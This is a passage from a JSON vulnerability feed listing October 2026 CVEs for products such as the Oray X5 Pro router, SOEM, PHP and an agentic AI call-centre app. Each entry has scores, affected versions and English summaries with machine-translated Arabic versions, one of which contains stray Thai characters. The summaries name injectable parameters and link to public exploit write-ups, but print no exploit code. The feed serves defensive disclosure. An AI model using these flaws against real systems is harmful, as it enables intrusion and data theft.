الداخليين."},"refs":[["https://github.com/frappe/builder/releases/tag/v1.36.1","patch"],["https://github.com/frappe/builder/security/advisories/GHSA-5qcg-q3jf-fjcg","advisory"],["https://www.vulncheck.com/advisories/frappe-builder-before-ssrf-via-convert-to-webp","advisory"]],"epss":0.0031,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"frappe-builder"},{"id":"CVE-2026-110474","cvss":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","cwe":"CWE-321","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-26T12:08:43Z","product":"CreditNirvana Agentic AI Call Centre","affected":[],"title":{"en":"Hardcoded API Key Vulnerability in CreditNirvana Agentic AI Call Centre application","ar":"ثغرة مفتاح واجهة برمجة تطبيقات مثبت مسبقًا في تطبيق CreditNirvana Agentic AI Call Centre"},"summary":{"en":"This vulnerability exists in the CreditNirvana Agentic AI Call Centre application due to hardcoded static API Key in the client side JavaScript bundle. An unauthenticated remote attacker could exploit this vulnerability by downloading client side JavaScript files and extracting API key, which could lead to make arbitrary API calls to retrieve call transcripts and recordings through the application API of the targeted system.","ar":"توجد هذه الثغرة في تطبيق CreditNirvana Agentic AI Call Centre بسبب وجود مفتاح واجهة برمجة تطبيقات ثابت ومثبت مسبقًا في حزمة JavaScript الخاصة بالعميل. يمكن لمهاجم عن بُعد دون مصادقة استغلال هذه الثغرة عن طريق تنزيل ملفات JavaScript الخاصة بالعميل واستخراج مفتاح واجهة برمجة التطبيقات، مما قد يؤدي إلى إجراء استدعاءات عشوائية لواجهة برمجة التطبيقات لاسترجاع نصوص التسجيل والمكالمات عبر واجهة برمجة تطبيقات التطبيق للنظام المستهدف."},"refs":[["https://www.cert-in.org.in/s2cMainServlet?pageid=PUBVLNOTES01&VLCODE=CIVN-2026-0523","advisory"]],"epss":0.0037,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"creditnirvana-agentic-ai-call-centre"},{"id":"CVE-2026-116257","cvss":7.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L","cwe":"CWE-287","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-26T11:16:37Z","product":"BillaBear","affected":[["2025.01.03",null]],"title":{"en":"BillaBear Installation InstallController.php processInstall missing authentication","ar":"فقدان المصادقة في BillaBear Installation InstallController.php الدالة processInstall"},"summary":{"en":"A vulnerability was determined in BillaBear up to 2025.01.03. Affected by this issue is the function processInstall of the file src/BillaBear/Controller/InstallController.php of the component Installation Handler. This manipulation causes missing authentication. Remote exploitation of the attack is possible. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way.","ar":"تم تحديد ثغرة في BillaBear حتى الإصدار 2025.01.03. المتأثر بهذه المشكلة هو دالة processInstall في الملف src/BillaBear/Controller/InstallController.php لمكون Installation Handler. يتسبب هذا التلاعب في فقدان المصادقة. الاستغلال عن بُعد لهذا الهجوم ممكن. تم الكشف عن الاستغلال للعامة ويمكن استخدامه. تم الاتصال بالمورد مبكرًا بشأن هذا الإفشاء لكنه لم يستجب بأي شكل."},"refs":[["https://vuldb.com/cve/CVE-2026-116257","advisory"],["https://vuldb.com/submit/1009909","advisory"],["https://gist.github.com/asdfghjkl12345678910111/d9fcbcdf74b3f07c427ade9fed927ad4","ref"],["https://vuldb.com/vuln/426296","ref"],["https://vuldb.com/vuln/426296/cti","ref"]],"epss":0.0063,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"billabear"},{"id":"CVE-2026-116237","cvss":8.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:H","cwe":"CWE-74","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-26T10:16:52Z","product":"Oray Pugongying X5 Pro","affected":[["7.6.1",null]],"title":{"en":"Oray Pugongying X5 Pro Dnsmasq crlf injection","ar":"ثغرة حقن crlf في Dnsmasq لمنتج Oray Pugongying X5 Pro"},"summary":{"en":"A vulnerability was found in Oray Pugongying X5 Pro 7.6.1. This affects an unknown part of the component Dnsmasq. Performing a manipulation results in crlf injection. Remote exploitation of the attack is possible. The exploit has been made public and could be used. The vendor was contacted early about this disclosure but did not respond in any way.","ar":"تم اكتشاف ثغرة في Oray Pugongying X5 Pro 7.6.1 تؤثر على جزء غير معروف من مكون Dnsmasq. يؤدي إجراء تلاعب إلى حقن crlf. يمكن تنفيذ الهجوم عن بُعد، وقد تم نشر استغلال للثغرة ويمكنใชوها. تم التواصل مع المُصنِّع مسبقاً بشأن هذا الكشف لكنه لم يستجب بأي شكل."},"refs":[["https://vuldb.com/cve/CVE-2026-116237","advisory"],["https://vuldb.com/submit/1005085","advisory"],["https://app.notion.com/p/Oray-Pgyer-X5-Pro-Router-7-6-1-DNS-Group-Newline-Injection-Runs-a-Root-Script-3ea797159f158048a73bf3ba23ccefdb","ref"],["https://vuldb.com/vuln/426286","ref"],["https://vuldb.com/vuln/426286/cti","ref"]],"epss":0.0035,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"oray-pugongying-x5-pro"},{"id":"CVE-2026-116236","cvss":7.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-284","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-26T09:16:35Z","product":"Oray Pugongying X5 Pro","affected":[["7.6.1",null]],"title":{"en":"Oray Pugongying X5 Pro PPPoE WAN Setting upload_files plugin_init unrestricted upload","ar":"رفع ملفات غير مقيد في plugin_init لمنتج Oray Pugongying X5 Pro PPPoE WAN Setting upload_files"},"summary":{"en":"A vulnerability has been found in Oray Pugongying X5 Pro 7.6.1. Affected by this issue is the function plugin_init of the file /tmp/upload_files of the component PPPoE WAN Setting Handler. Such manipulation of the argument pppd_options leads to unrestricted upload. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.","ar":"تم اكتشاف ثغرة في Oray Pugongying X5 Pro 7.6.1. تتأثر بهذه المشكلة دالة plugin_init في الملف /tmp/upload_files التابع لمكون PPPoE WAN Setting Handler. يؤدي هذا التلاعب في الوسيط pppd_options إلى رفع ملفات غير مقيد. يمكن شن الهجوم عن بُعد، وقد تم الكشف عن استغلال للثغرة للعموم واستخدامه. تم التواصل مع المُموِّن مسبقاً بهذا الخصوص ولم ترد أي استجابة."},"refs":[["https://vuldb.com/cve/CVE-2026-116236","advisory"],["https://vuldb.com/submit/1005084","advisory"],["https://app.notion.com/p/Oray-Pgyer-X5-Pro-Router-7-6-1-Root-Code-Execution-via-PPPoE-plugin-Option-3ea797159f1580149a5de8deddac48c5","ref"],["https://vuldb.com/vuln/426285","ref"],["https://vuldb.com/vuln/426285/cti","ref"]],"epss":0.0039,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"oray-pugongying-x5-pro"},{"id":"CVE-2026-116372","cvss":7.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","cwe":"CWE-20","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T09:16:35Z","product":"MISP misp-guard","affected":[["0 – 1.3",null]],"title":{"en":"MISP mispguard: Feed responses with 2xx status codes other than 200 bypass filtering rules","ar":"MISP mispguard: استجابات الخلاصات التي تحمل رموز حالة 2xx بخلاف 200 تتجاوز قواعد التصفية"},"summary":{"en":"MISP mispguard is a security filtering proxy that inspects and blocks MISP feed responses based on configured rules. The process_feed_response method in src/mispguard.py was responsible for evaluating feed responses before they reached the MISP instance. The original logic only explicitly handled the case where the HTTP status code was not 200 by passing the response through without filtering, on the assumption that non-200 responses would not carry ingestible event data. However, HTTP 2xx status codes other than 200 (such as 201 Created, 203 Non-Authoritative Information, and 206 Partial Content) were also passed through unfiltered. Because MISP may still ingest content from these responses, a malicious or compromised feed host could return a 203 or 206 status code with arbitrary content, effectively bypassing all of mispguard's filtering rules. This allowed unfiltered or malicious feed data to be ingested into the MISP instance, undermining the security controls that mispguard is designed to enforce. The vulnerability requires the attacker to control or compromise a feed endpoint configured in the MISP instance. No authentication or user interaction is required beyond the feed polling mechanism already in place.","ar":"MISP mispguard هو وكيل تصفية أمني يفحص ويحظر استجابات خلاصات MISP بناءً على القواعد المُكوّنة. كانت طريقة process_feed_response في src/mispguard.py مسؤولة عن تقييم استجابات الخلاصات قبل وصولها إلى مثيل MISP. المنطق الأصلي كان يتعامل صراحةً فقط مع الحالة التي لا يكون فيها رمز حالة HTTP هو 200 عن طريق تمرير الاستجابة دون تصفية، على افتراض أن الاستجابات التي لا تحمل الرمز 200 لن تحمل بيانات أحداث قابلة للاستيعاب. ومع ذلك، فإن رموز حالة HTTP 2xx بخلاف 200 (مثل 201 Created و203 Non-Authoritative Information و206 Partial Content) تم تمريرها أيضًا دون تصفية. نظرًا لأن MISP قد يستوعب المحتوى من هذه الاستجابات، يمكن لمضيف خلاصة خبيث أو مخترق إرجاع رمز حالة 203 أو 206 بمحتوى عشوائي، مما يؤدي بفعالية إلى تجاوز جميع قواعد تصفية mispguard. سمح هذا باستيعاب بيانات خلاصات غير مفلترة أو خبيثة في مثيل MISP، مما قوض الضوابط الأمنية التي صُمم mispguard لتنفيذها. تتطلب الثغرة أن يتحكم المهاجم في نقطة نهاية خلاصة مُكوّنة في مثيل MISP أو يقوم باختراقها. لا يلزم وجود مصادقة أو تفاعل من المستخدم بخلاف آلية استطلاع الخلاصات الموجودة بالفعل."},"refs":[["https://github.com/MISP/misp-guard/commit/b5f606a4e57a49cc4dbf9b3ef0c6ddd19f866735","patch"]],"epss":0.0036,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"misp-guard"},{"id":"CVE-2026-116233","cvss":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","cwe":"CWE-74","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-26T09:16:34Z","product":"Oray Pugongying X5 Pro","affected":[["7.6.1",null]],"title":{"en":"Oray Pugongying X5 Pro Dnsmasq crlf injection","ar":"ثغرة حقن crlf في Dnsmasq لمنتج Oray Pugongying X5 Pro"},"summary":{"en":"A security vulnerability has been detected in Oray Pugongying X5 Pro 7.6.1. This impacts an unknown function of the component Dnsmasq. The manipulation of the argument rent_time leads to crlf injection. The attack can be initiated remotely. The exploit has been disclosed publicly and may be used. The vendor was contacted early about this disclosure but did not respond in any way.","ar":"تم اكتشاف ثغرة أمنية في Oray Pugongying X5 Pro 7.6.1 تؤثر على دالة غير معروفة من مكون Dnsmasq. يؤدي التلاعب بالوسيط rent_time إلى حقن crlf. يمكن تنفيذ الهجوم عن بُعد، وقد تم الكشف عن استغلال للثغرة للعموم. تم التواصل مع المُصنِّع مسبقاً بشأن هذا الكشف ولم يقم بأي استجابة."},"refs":[["https://vuldb.com/cve/CVE-2026-116233","advisory"],["https://vuldb.com/submit/1005081","advisory"],["https://app.notion.com/p/Oray-Pgyer-X5-Pro-Router-7-6-1-Dnsmasq-Directive-Injection-Through-DHCP-Lease-Time-3ea797159f1580979394d23087844670","ref"],["https://vuldb.com/vuln/426282","ref"],["https://vuldb.com/vuln/426282/cti","ref"]],"epss":0.0046,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"oray-pugongying-x5-pro"},{"id":"CVE-2026-116234","cvss":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","cwe":"CWE-74","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-26T09:16:34Z","product":"Oray Pugongying X5 Pro","affected":[["7.6.1",null]],"title":{"en":"Oray Pugongying X5 Pro IPsec Policy ipsec.conf crlf injection","ar":"ثغرة حقن crlf في ipsec.conf لسياسة IPsec في Oray Pugongying X5 Pro"},"summary":{"en":"A vulnerability was detected in Oray Pugongying X5 Pro 7.6.1. Affected is an unknown function of the file /etc/ipsec.conf of the component IPsec Policy Handler. The manipulation of the argument secproto results in crlf injection. The attack can be launched remotely. The exploit is now public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.","ar":"تم اكتشاف ثغرة في Oray Pugongying X5 Pro 7.6.1 تؤثر على دالة غير معروفة في الملف /etc/ipsec.conf التابع لمكون IPsec Policy Handler. يؤدي التلاعب بالوسيط secproto إلى حقن crlf. يمكن شن الهجوم عن بُعد، وأصبح الاستغلال علنياً ويمكن استخدامه. تم التواصل مع المُصنِّع مبكراً بشأن هذا الكشف لكنه لم يستجب."},"refs":[["https://vuldb.com/cve/CVE-2026-116234","advisory"],["https://vuldb.com/submit/1005082","advisory"],["https://app.notion.com/p/Oray-Pgyer-X5-Pro-Router-7-6-1-Root-Code-Execution-via-IPsec-secproto-Injection-3ea797159f1580919c5dea13e5baea84","ref"],["https://vuldb.com/vuln/426283","ref"],["https://vuldb.com/vuln/426283/cti","ref"]],"epss":0.0046,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"oray-pugongying-x5-pro"},{"id":"CVE-2026-82947","cvss":7.1,"vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:L","cwe":"CWE-125","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T08:59:09Z","product":"RT-Labs AB SOEM","affected":[["0 – <2.0.1","2.0.1"]],"title":{"en":"Multiple Out-of-Bounds Reads in Frame Processing","ar":"عمليات قراءة متعددة خارج حدود الذاكرة في معالجة الإطارات"},"summary":{"en":"SOEM version 2.0.0 and earlier contains multiple vulnerabilities in frame processing where a malicious device can cause the master to read data outside allocated buffers. The software uses length and offset values from device messages without validating them against buffer sizes. This can cause the master to access invalid memory locations, potentially disclosing sensitive information or causing crashes.","ar":"يحتوي الإصدار 2.0.0 وما قبله من SOEM على ثغرات متعددة في معالجة الإطارات حيث يمكن لجهاز خبيث يتسبب في جعل الوحدة الرئيسية تقرأ بيانات خارج المخازن المؤقتة المخصصة. لا يتحقق البرنامج من قيم الطول والإزاحة الواردة من رسائل الجهاز مقارنة بأحجام المخازن المؤقتة. قد يتسبب هذا في وصول الوحدة الرئيسية إلى مواقع ذاكرة غير صالحة، مما قد يؤدي إلى كشف معلومات حساسة أو حدوث تعطل."},"refs":[["https://rt-labs.com/wp-content/uploads/2026/10/RRTL-260921-01.pdf","advisory"]],"epss":0.0017,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"rt-labs-ab-soem"},{"id":"CVE-2026-82944","cvss":8.8,"vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-787","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T08:47:50Z","product":"RT-Labs AB SOEM","affected":[["0 – <2.0.1","2.0.1"]],"title":{"en":"Buffer Overflow in CoE SDO Upload Multi-Segment Data Transfers","ar":"فيضان المخزن المؤقت في عمليات نقل البيانات متعددة القطاعات عبر CoE SDO Upload"},"summary":{"en":"SOEM version 2.0.0 and earlier contains a vulnerability in multi-segment data transfers where a malicious device can overflow memory buffers. The software checks the total size only once at the beginning, but doesn't track the cumulative size as multiple segments arrive. An attacker can declare a small initial size to pass validation, then send additional segments that exceed the allocated buffer. This allows the attacker to write controlled data beyond buffer boundaries, potentially enabling code execution.","ar":"يحتوي الإصدار 2.0.0 وما قبله من SOEM على ثغرة في عمليات نقل البيانات متعددة القطاعات حيث يمكن لجهاز خبيث فيضان مخازن الذاكرة المؤقتة. لا يتحقق البرنامج من الحجم الإجمالي إلا مرة واحدة في البداية، ولكنه لا يتتبع الحجم التراكمي مع وصول قطاعات متعددة. يمكن للمهاجم التصريح بحجم أولي صغير لتجاوز التحقق، ثم إرسال قطاعات إضافية تتجاوز المخزن المؤقت المخصص. يتيح ذلك للمهاجم كتابة بيانات متحكم بها خارج حدود المخزن المؤقت، مما قد يتيح تنفيذ شيفرة."},"refs":[["https://rt-labs.com/wp-content/uploads/2026/10/RRTL-260921-01.pdf","advisory"]],"epss":0.0021,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"rt-labs-ab-soem"},{"id":"CVE-2026-70388","cvss":8.3,"vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H","cwe":"CWE-191","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T08:34:24Z","product":"RT-Labs AB SOEM","affected":[["0 – <2.0.1","2.0.1"]],"title":{"en":"Memory Corruption via Integer Underflow in Message Length Validation","ar":"فساد الذاكرة عبر النقص العددي الصحيح في التحقق من طول الرسالة"},"summary":{"en":"SOEM version 2.0.0 and earlier contains vulnerabilities where a malicious device on the network can send specially crafted messages that cause the master to write data outside allocated memory boundaries. The software performs arithmetic on message length values without proper validation, allowing negative or extremely large values to bypass safety checks. This can corrupt memory and potentially allow an attacker to execute arbitrary code on the master system.","ar":"تحتوي إصدارات SOEM 2.0.0 والأقدم على ثغرات حيث يمكن لجهاز خبيث على الشبكة إرسال رسائل مصوغة خصيصًا تتسبب في قيام الجهاز الرئيسي (master) بكتابة بيانات خارج حدود الذاكرة المخصصة. يقوم البرنامج بإجراء عمليات حسابية على قيم طول الرسالة دون التحقق المناسب، مما يسمح للقيم السالبة أو الكبيرة للغاية بتجاوز فحوصات الأمان. يمكن أن يؤدي ذلك إلى إفساد الذاكرة ومن المحتمل أن يسمح لمهاجم بتنفيذ شيفرة عشوائية على النظام الرئيسي."},"refs":[["https://rt-labs.com/wp-content/uploads/2026/10/RRTL-260921-01.pdf","advisory"]],"epss":0.0021,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"rt-labs-ab-soem"},{"id":"CVE-2026-116231","cvss":9.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","cwe":"CWE-74","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-26T08:17:17Z","product":"Oray Pugongying X5 Pro","affected":[["7.6.1",null]],"title":{"en":"Oray Pugongying X5 Pro Ser2net crlf injection","ar":"ثغرة حقن crlf في Ser2net لمنتج Oray Pugongying X5 Pro"},"summary":{"en":"A security flaw has been discovered in Oray Pugongying X5 Pro 7.6.1. The impacted element is an unknown function of the component Ser2net. Performing a manipulation of the argument regmsg results in crlf injection. It is possible to initiate the attack remotely. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.","ar":"اكتُشفت ثغرة أمنية في Oray Pugongying X5 Pro 7.6.1 تؤثر على دالة غير معروفة في مكون Ser2net. يؤدي التلاعب بالوسيط regmsg إلى حقن crlf. من الممكن بدء الهجوم عن بُعد، وتم نشر الاستغلال للعموم وقد يُستخدم في الهجمات. تم التواصل مع المُصنِّع في وقت مبكر بشأن هذا الكشف ولم يصدر منه أي رد."},"refs":[["https://vuldb.com/cve/CVE-2026-116231","advisory"],["https://vuldb.com/submit/1005078","advisory"],["https://app.notion.com/p/Oray-Pgyer-X5-Pro-Router-7-6-1-A-Serial-Banner-Newline-Lets-ser2net-Overwrite-Existing-Files-3ea797159f158019b687eadcc7d6a85b","ref"],["https://vuldb.com/vuln/426280","ref"],["https://vuldb.com/vuln/426280/cti","ref"]],"epss":0.0044,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"oray-pugongying-x5-pro"},{"id":"CVE-2026-116116","cvss":8.2,"vector":"CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","cwe":"CWE-345","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-26T04:17:55Z","product":"Yoosee GM8135S Camera","affected":[["21.00.01.36",null]],"title":{"en":"Yoosee GM8135S Camera Secure Boot signature verification","ar":"التحقق من توقيع التمهيد الآمن لكاميرا Yoosee GM8135S"},"summary":{"en":"A vulnerability was detected in Yoosee GM8135S Camera 21.00.01.36. Affected is an unknown function of the component Secure Boot. Performing a manipulation results in improper verification of cryptographic signature. The attack needs to be approached locally. The exploit is now public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.","ar":"تم اكتشاف ثغرة في كاميرا Yoosee GM8135S الإصدار 21.00.01.36. تتأثر دالة غير معروفة في مكون التمهيد الآمن (Secure Boot). يؤدي إجراء عملية معالجة إلى التحقق بشكل غير سليم من التوقيع التشفيري. يجب تنفيذ الهجوم محليًا. أصبح استغلال الثغرة علنيًا وقد يتم استخدامه. تم التواصل مع المجهة المصنعة مبكرًا بشأن هذا الكشف ولكنها لم ترد بأي شكل."},"refs":[["https://vuldb.com/cve/CVE-2026-116116","advisory"],["https://vuldb.com/submit/1004712","advisory"],["https://akosibrylle.me/writeups/yoosee-cve","ref"],["https://vuldb.com/vuln/426184","ref"],["https://vuldb.com/vuln/426184/cti","ref"]],"epss":0.0009,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"yoosee-gm8135s-camera"},{"id":"CVE-2026-116110","cvss":7.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L","cwe":"CWE-287","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T03:17:11Z","product":"GiantappMan LiveWallPaper","affected":[["2.6.8.0",null]],"title":{"en":"GiantappMan LiveWallPaper SignalR Hub UploadFile missing authentication","ar":"نقص المصادقة في UploadFile ضمن SignalR Hub لـ GiantappMan LiveWallPaper"},"summary":{"en":"A vulnerability was found in GiantappMan LiveWallPaper 2.6.8.0 on Windows. This issue affects some unknown processing of the file /LiveWallpaper/UploadFile of the component SignalR Hub. Performing a manipulation results in missing authentication. The attack is possible to be carried out remotely. The exploit has been made public and could be used. The patch is named b62f878899adbfc2968e3345442f3a3df91b774d. It is suggested to install a patch to address this issue. The vendor was contacted early about this disclosure.","ar":"تم العثور على ثغرة في تطبيق GiantappMan LiveWallPaper الإصدار 2.6.8.0 على نظام Windows. تؤثر هذه المشكلة على بعض عمليات المعالجة غير المعروفة للملف /LiveWallpaper/UploadFile في مكون SignalR Hub. يؤدي إجراء عملية معالجة إلى غياب المصادقة. يمكن تنفيذ الهجوم عن بُعد. أصبح استغلال الثغرة علنيًا ويمكن استخدامه. يحمل التصحيح الاسم b62f878899adbfc2968e3345442f3a3df91b774d. يُقترح تثبيت التصحيح لمعالجة هذه المشكلة. تم التواصل مع الجهة المصنعة مبكرًا بشأن هذا الكشف."},"refs":[["https://github.com/GiantappMan/livewallpaper/commit/b62f878899adbfc2968e3345442f3a3df91b774d","patch"],["https://vuldb.com/cve/CVE-2026-116110","advisory"],["https://vuldb.com/submit/1003156","advisory"],["https://github.com/GiantappMan/livewallpaper/","ref"],["https://github.com/GiantappMan/livewallpaper/issues/185","ref"],["https://jfyuhong.github.io/advisories/livewallpaper-2.6.8.0/","ref"],["https://vuldb.com/vuln/426178","ref"],["https://vuldb.com/vuln/426178/cti","ref"]],"epss":0.0041,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"giantappman-livewallpaper"},{"id":"CVE-2026-109619","cvss":9.2,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-416","tags":["RCE"],"zero":false,"exploited":true,"status":"patched","published":"2026-10-26T00:00:00Z","product":"PHP Group PHP","affected":[[" – <8.2.35","8.2.35"],[" – <8.3.36","8.3.36"],[" – <8.4.27","8.4.27"],[" – <8.5.12","8.5.12"],["5.4.0 – <8.2.35","8.2.35"],["8.3.0 – <8.3.36","8.3.36"],["8.4.0 – <8.4.27","8.4.27"],["8.5.0 – <8.5.12","8.5.12"],["10.2.0 – <10.2.7","10.2.7"],["11.1.0 – <11.1.4","11.1.4"],["11.2.0 – <11.2.4","11.2.4"],["12.1.0 – <12.1.4","12.1.4"]],"title":{"en":"PHP Stale Internal Request-State Vulnerability","ar":"ثغرة حالة الطلب الداخلي القديمة في PHP"},"summary":{"en":"PHP contains a stale internal request-state vulnerability that allows for unauthenticated remote code execution.","ar":"يحتوي PHP على ثغرة حالة طلب داخلي قديمة تسمح بتنفيذ أوامر عن بُعد دون مصدقّة."},"refs":[["https://www.php.net/","advisory"],["https://www.cisa.gov/news-events/alerts/2026/10/21/critical-vulnerabilities-php-require-immediate-patching","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-109619","advisory"],["https://github.com/php/php-src/security/advisories/GHSA-6wmf-4rv5-p3rp","advisory"],["https://www.wiz.io/blog/php2shell-php-rce","advisory"],["https://php2shell.delftintellab.com/","advisory"],["https://arcticwolf.com/resources/blog/php2shell-critical-php-vulnerabilities-enable-unauthenticated-remote-code-execution/","advisory"],["https://cert-portal.siemens.com/productcert/html/ssa-566512.html","advisory"],["https://cert-portal.siemens.com/productcert/html/ssa-566435.html","advisory"],["https://cert-portal.siemens.com/productcert/html/ssa-166980.html","advisory"]],"epss":1,"kevAdded":"2026-10-26T00:00:00Z","kevDue":"2026-10-29T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"تطبيق التخفيفات وفقاً لتعليمات المورد، مع ضمان الامتثال لتوجيهات CISA BOD 26-04 بشأن إعطاء الأولوية لتحديثات الأمان بناءً على المخاطر (انظر الرابط في الملاحظات) ومتطلبات فرز الأدلة الجنائية لـ CISA. اتبع توجيهات BOD 26-04 المعمول بها لخدمات السحابة أو أوقف استخدام المنتج إذا كانت التخفيفات غير متوفرة. أصحاب المصلحة مسؤولون عن تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات الترقيع في BOD 26-04.","machineTranslated":true,"productSlug":"php-group-php"},{"id":"CVE-2026-109618","cvss":9.2,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-416","tags":["RCE"],"zero":false,"exploited":true,"status":"patched","published":"2026-10-26T00:00:00Z","product":"PHP Group PHP","affected":[[" – <8.2.35","8.2.35"],[" – <8.3.36","8.3.36"],[" – <8.4.27","8.4.27"],[" – <8.5.12","8.5.12"],["7.3.0 – <8.2.35","8.2.35"],["8.3.0 – <8.3.36","8.3.36"],["8.4.0 – <8.4.27","8.4.27"],["8.5.0 – <8.5.12","8.5.12"],["10.2.0 – <10.2.7","10.2.7"],["11.1.0 – <11.1.4","11.1.4"],["11.2.0 – <11.2.4","11.2.4"],["12.1.0 – <12.1.4","12.1.4"]],"title":{"en":"PHP Memory Corruption Vulnerability","ar":"ثغرة تلف الذاكرة في PHP"},"summary":{"en":"PHP contains an out-of-memory corruption vulnerability that allows for unauthenticated remote code execution.","ar":"يحتوي PHP على ثغرة تلف الذاكرة الناتجة عن نفاد الذاكرة والتي تسمح بتنفيذ أوامر عن بُعد دون مصدقّة."},"refs":[["https://www.php.net/","advisory"],["https://www.cisa.gov/news-events/alerts/2026/10/21/critical-vulnerabilities-php-require-immediate-patching","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-109618","advisory"],["https://github.com/php/php-src/security/advisories/GHSA-w8hw-w9fx-j79w","advisory"],["https://www.wiz.io/blog/php2shell-php-rce","advisory"],["https://arcticwolf.com/resources/blog/php2shell-critical-php-vulnerabilities-enable-unauthenticated-remote-code-execution/","advisory"],["https://php2shell.delftintellab.com","advisory"],["https://cert-portal.siemens.com/productcert/html/ssa-566512.html","advisory"],["https://cert-portal.siemens.com/productcert/html/ssa-566435.html","advisory"],["https://cert-portal.siemens.com/productcert/html/ssa-166980.html","advisory"]],"epss":1,"kevAdded":"2026-10-26T00:00:00Z","kevDue":"2026-10-29T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching 